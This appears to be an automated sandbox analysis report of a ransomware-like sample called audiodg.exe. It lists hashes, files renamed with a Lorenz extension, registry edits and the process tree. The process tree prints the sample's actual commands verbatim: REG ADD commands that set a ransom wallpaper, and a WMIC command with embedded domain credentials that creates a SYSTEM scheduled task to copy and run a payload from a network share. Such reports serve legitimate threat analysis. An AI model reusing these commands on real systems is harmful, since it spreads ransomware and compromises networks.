Analysis
-
max time kernel
507s -
max time network
417s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
12/03/2023, 23:15
Static task
static1
Behavioral task
behavioral1
Sample
audiodg.exe
Resource
win7-20230220-en
windows7-x64
10 signatures
600 seconds
Behavioral task
behavioral2
Sample
audiodg.exe
Resource
win10v2004-20230220-en
windows10-2004-x64
19 signatures
600 seconds
General
-
Target
audiodg.exe
-
Size
1.1MB
-
MD5
7b760f60fff500d3c7c408a8bc158e0e
-
SHA1
a4b41efc63460f980130b67eb33c0bd061206744
-
SHA256
a0ccb9019b90716c8ee1bc0829e0e04cf7166be2f25987abbc8987e65cef2e6f
-
SHA512
13662b1447806779d82a29fbb931ec8d400adacd9074c4bbce8db8afd34bbf0c87e43b7790c1631b8d4edc870dbf5348773beadea59a3f73438cdb072c24ae75
-
SSDEEP
24576:uTRIYouZxVPjy+Q7WX6nHvjAbDbuqxXePt:tYouZL7y+QqX6nPjRq4t
Score
6/10
Malware Config
Signatures
-
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: audiodg.exe File opened (read-only) \??\B: audiodg.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\7-Zip\Lang\ku-ckb.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\da.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\7zCon.sfx.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\gl.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\tt.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\7-zip.chm.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\lij.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\nb.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\cy.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\zh-cn.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\co.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\io.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\zh-tw.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\ClearConfirm.mp4.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ug.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\RepairPublish.asf.Lorenz.sz40 audiodg.exe File created C:\Program Files\RestartTest.xps.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ga.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\sl.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\CompressDismount.eprtx.Lorenz.sz40 audiodg.exe File created C:\Program Files\DisconnectResolve.xht.Lorenz.sz40 audiodg.exe File created C:\Program Files\RepairResume.mov.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ba.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\fy.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_glass_Thumbnail.bmp.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\navSubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\th.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\descript.ion.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\License.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ka.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_SelectionSubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\pl.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\eo.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\Parity.fx.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_SelectionSubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ro.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\sonicsptransform.ax.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\fr.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\Common.fxh.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\ast.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\mng2.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\eu.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\7-Zip\Lang\yo.txt.Lorenz.sz40 audiodg.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv.Lorenz.sz40 audiodg.exe File created C:\Program Files\SuspendTrace.asp.Lorenz.sz40 audiodg.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\lAr4p7C0NtFx.bmp audiodg.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 8 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-19\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe Key created \REGISTRY\USER\S-1-5-20\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\S-1-5-20\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe Key created \REGISTRY\USER\.DEFAULT\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe Key created \REGISTRY\USER\.DEFAULT\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe Key created \REGISTRY\USER\S-1-5-19\Control Panel\Desktop reg.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000_CLASSES\Control Panel reg.exe Key created \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000_CLASSES\Control Panel\Desktop reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000_CLASSES\Control Panel\Desktop\Wallpaper = "C:\\Windows\\lAr4p7C0NtFx.bmp" reg.exe Key created \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000_Classes\Local Settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000_Classes\Control Panel\Desktop reg.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1520 audiodg.exe 1520 audiodg.exe -
Suspicious use of AdjustPrivilegeToken 40 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1792 WMIC.exe Token: SeSecurityPrivilege 1792 WMIC.exe Token: SeTakeOwnershipPrivilege 1792 WMIC.exe Token: SeLoadDriverPrivilege 1792 WMIC.exe Token: SeSystemProfilePrivilege 1792 WMIC.exe Token: SeSystemtimePrivilege 1792 WMIC.exe Token: SeProfSingleProcessPrivilege 1792 WMIC.exe Token: SeIncBasePriorityPrivilege 1792 WMIC.exe Token: SeCreatePagefilePrivilege 1792 WMIC.exe Token: SeBackupPrivilege 1792 WMIC.exe Token: SeRestorePrivilege 1792 WMIC.exe Token: SeShutdownPrivilege 1792 WMIC.exe Token: SeDebugPrivilege 1792 WMIC.exe Token: SeSystemEnvironmentPrivilege 1792 WMIC.exe Token: SeRemoteShutdownPrivilege 1792 WMIC.exe Token: SeUndockPrivilege 1792 WMIC.exe Token: SeManageVolumePrivilege 1792 WMIC.exe Token: 33 1792 WMIC.exe Token: 34 1792 WMIC.exe Token: 35 1792 WMIC.exe Token: SeIncreaseQuotaPrivilege 1792 WMIC.exe Token: SeSecurityPrivilege 1792 WMIC.exe Token: SeTakeOwnershipPrivilege 1792 WMIC.exe Token: SeLoadDriverPrivilege 1792 WMIC.exe Token: SeSystemProfilePrivilege 1792 WMIC.exe Token: SeSystemtimePrivilege 1792 WMIC.exe Token: SeProfSingleProcessPrivilege 1792 WMIC.exe Token: SeIncBasePriorityPrivilege 1792 WMIC.exe Token: SeCreatePagefilePrivilege 1792 WMIC.exe Token: SeBackupPrivilege 1792 WMIC.exe Token: SeRestorePrivilege 1792 WMIC.exe Token: SeShutdownPrivilege 1792 WMIC.exe Token: SeDebugPrivilege 1792 WMIC.exe Token: SeSystemEnvironmentPrivilege 1792 WMIC.exe Token: SeRemoteShutdownPrivilege 1792 WMIC.exe Token: SeUndockPrivilege 1792 WMIC.exe Token: SeManageVolumePrivilege 1792 WMIC.exe Token: 33 1792 WMIC.exe Token: 34 1792 WMIC.exe Token: 35 1792 WMIC.exe -
Suspicious use of WriteProcessMemory 56 IoCs
description pid Process procid_target PID 1520 wrote to memory of 1364 1520 audiodg.exe 28 PID 1520 wrote to memory of 1364 1520 audiodg.exe 28 PID 1520 wrote to memory of 1364 1520 audiodg.exe 28 PID 1520 wrote to memory of 1364 1520 audiodg.exe 28 PID 1364 wrote to memory of 924 1364 cmd.exe 29 PID 1364 wrote to memory of 924 1364 cmd.exe 29 PID 1364 wrote to memory of 924 1364 cmd.exe 29 PID 1364 wrote to memory of 924 1364 cmd.exe 29 PID 1520 wrote to memory of 956 1520 audiodg.exe 30 PID 1520 wrote to memory of 956 1520 audiodg.exe 30 PID 1520 wrote to memory of 956 1520 audiodg.exe 30 PID 1520 wrote to memory of 956 1520 audiodg.exe 30 PID 956 wrote to memory of 888 956 cmd.exe 31 PID 956 wrote to memory of 888 956 cmd.exe 31 PID 956 wrote to memory of 888 956 cmd.exe 31 PID 956 wrote to memory of 888 956 cmd.exe 31 PID 1520 wrote to memory of 660 1520 audiodg.exe 34 PID 1520 wrote to memory of 660 1520 audiodg.exe 34 PID 1520 wrote to memory of 660 1520 audiodg.exe 34 PID 1520 wrote to memory of 660 1520 audiodg.exe 34 PID 1520 wrote to memory of 556 1520 audiodg.exe 33 PID 1520 wrote to memory of 556 1520 audiodg.exe 33 PID 1520 wrote to memory of 556 1520 audiodg.exe 33 PID 1520 wrote to memory of 556 1520 audiodg.exe 33 PID 556 wrote to memory of 1576 556 cmd.exe 35 PID 556 wrote to memory of 1576 556 cmd.exe 35 PID 556 wrote to memory of 1576 556 cmd.exe 35 PID 556 wrote to memory of 1576 556 cmd.exe 35 PID 1520 wrote to memory of 460 1520 audiodg.exe 37 PID 1520 wrote to memory of 460 1520 audiodg.exe 37 PID 1520 wrote to memory of 460 1520 audiodg.exe 37 PID 1520 wrote to memory of 460 1520 audiodg.exe 37 PID 660 wrote to memory of 1792 660 cmd.exe 36 PID 660 wrote to memory of 1792 660 cmd.exe 36 PID 660 wrote to memory of 1792 660 cmd.exe 36 PID 660 wrote to memory of 1792 660 cmd.exe 36 PID 460 wrote to memory of 552 460 cmd.exe 38 PID 460 wrote to memory of 552 460 cmd.exe 38 PID 460 wrote to memory of 552 460 cmd.exe 38 PID 460 wrote to memory of 552 460 cmd.exe 38 PID 1520 wrote to memory of 1008 1520 audiodg.exe 39 PID 1520 wrote to memory of 1008 1520 audiodg.exe 39 PID 1520 wrote to memory of 1008 1520 audiodg.exe 39 PID 1520 wrote to memory of 1008 1520 audiodg.exe 39 PID 1008 wrote to memory of 1788 1008 cmd.exe 40 PID 1008 wrote to memory of 1788 1008 cmd.exe 40 PID 1008 wrote to memory of 1788 1008 cmd.exe 40 PID 1008 wrote to memory of 1788 1008 cmd.exe 40 PID 1520 wrote to memory of 832 1520 audiodg.exe 41 PID 1520 wrote to memory of 832 1520 audiodg.exe 41 PID 1520 wrote to memory of 832 1520 audiodg.exe 41 PID 1520 wrote to memory of 832 1520 audiodg.exe 41 PID 832 wrote to memory of 688 832 cmd.exe 42 PID 832 wrote to memory of 688 832 cmd.exe 42 PID 832 wrote to memory of 688 832 cmd.exe 42 PID 832 wrote to memory of 688 832 cmd.exe 42
Processes
-
C:\Users\Admin\AppData\Local\Temp\audiodg.exe"C:\Users\Admin\AppData\Local\Temp\audiodg.exe"1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Modifies data under HKEY_USERS
PID:924
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\S-1-5-19\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\S-1-5-19\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Modifies data under HKEY_USERS
PID:888
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\S-1-5-20\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\S-1-5-20\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Modifies data under HKEY_USERS
PID:1576
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c wmic /node:'0.0.0.0' /USER:'BioPlus.net\sqluser2' /PASSWORD:'az21x5t' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz401 /TR 'copy \\BioPlus.net\NETLOGON\weams.exe %windir%lsamp.exe & start %windir%lsamp.exe' & SCHTASKS /run /TN sz401&SCHTASKS /Delete /TN sz401 /F"2⤵
- Suspicious use of WriteProcessMemory
PID:660 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic /node:'0.0.0.0' /USER:'BioPlus.net\sqluser2' /PASSWORD:'az21x5t' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz401 /TR 'copy \\BioPlus.net\NETLOGON\weams.exe C:\Windowslsamp.exe & start C:\Windowslsamp.exe' & SCHTASKS /run /TN sz401&SCHTASKS /Delete /TN sz401 /F"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1792
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:460 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Sets desktop wallpaper using registry
PID:552
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\S-1-5-21-1914912747-3343861975-731272777-1000_Classes\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:1008 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\S-1-5-21-1914912747-3343861975-731272777-1000_Classes\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Modifies registry class
PID:1788
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD "HKEY_USERS\S-1-5-18\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"2⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_USERS\S-1-5-18\Control Panel\Desktop" /V Wallpaper /T REG_SZ /F /D "C:\Windows\lAr4p7C0NtFx.bmp"3⤵
- Modifies data under HKEY_USERS
PID:688
-
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\TestMerge.asp1⤵
- Modifies registry class
PID:1744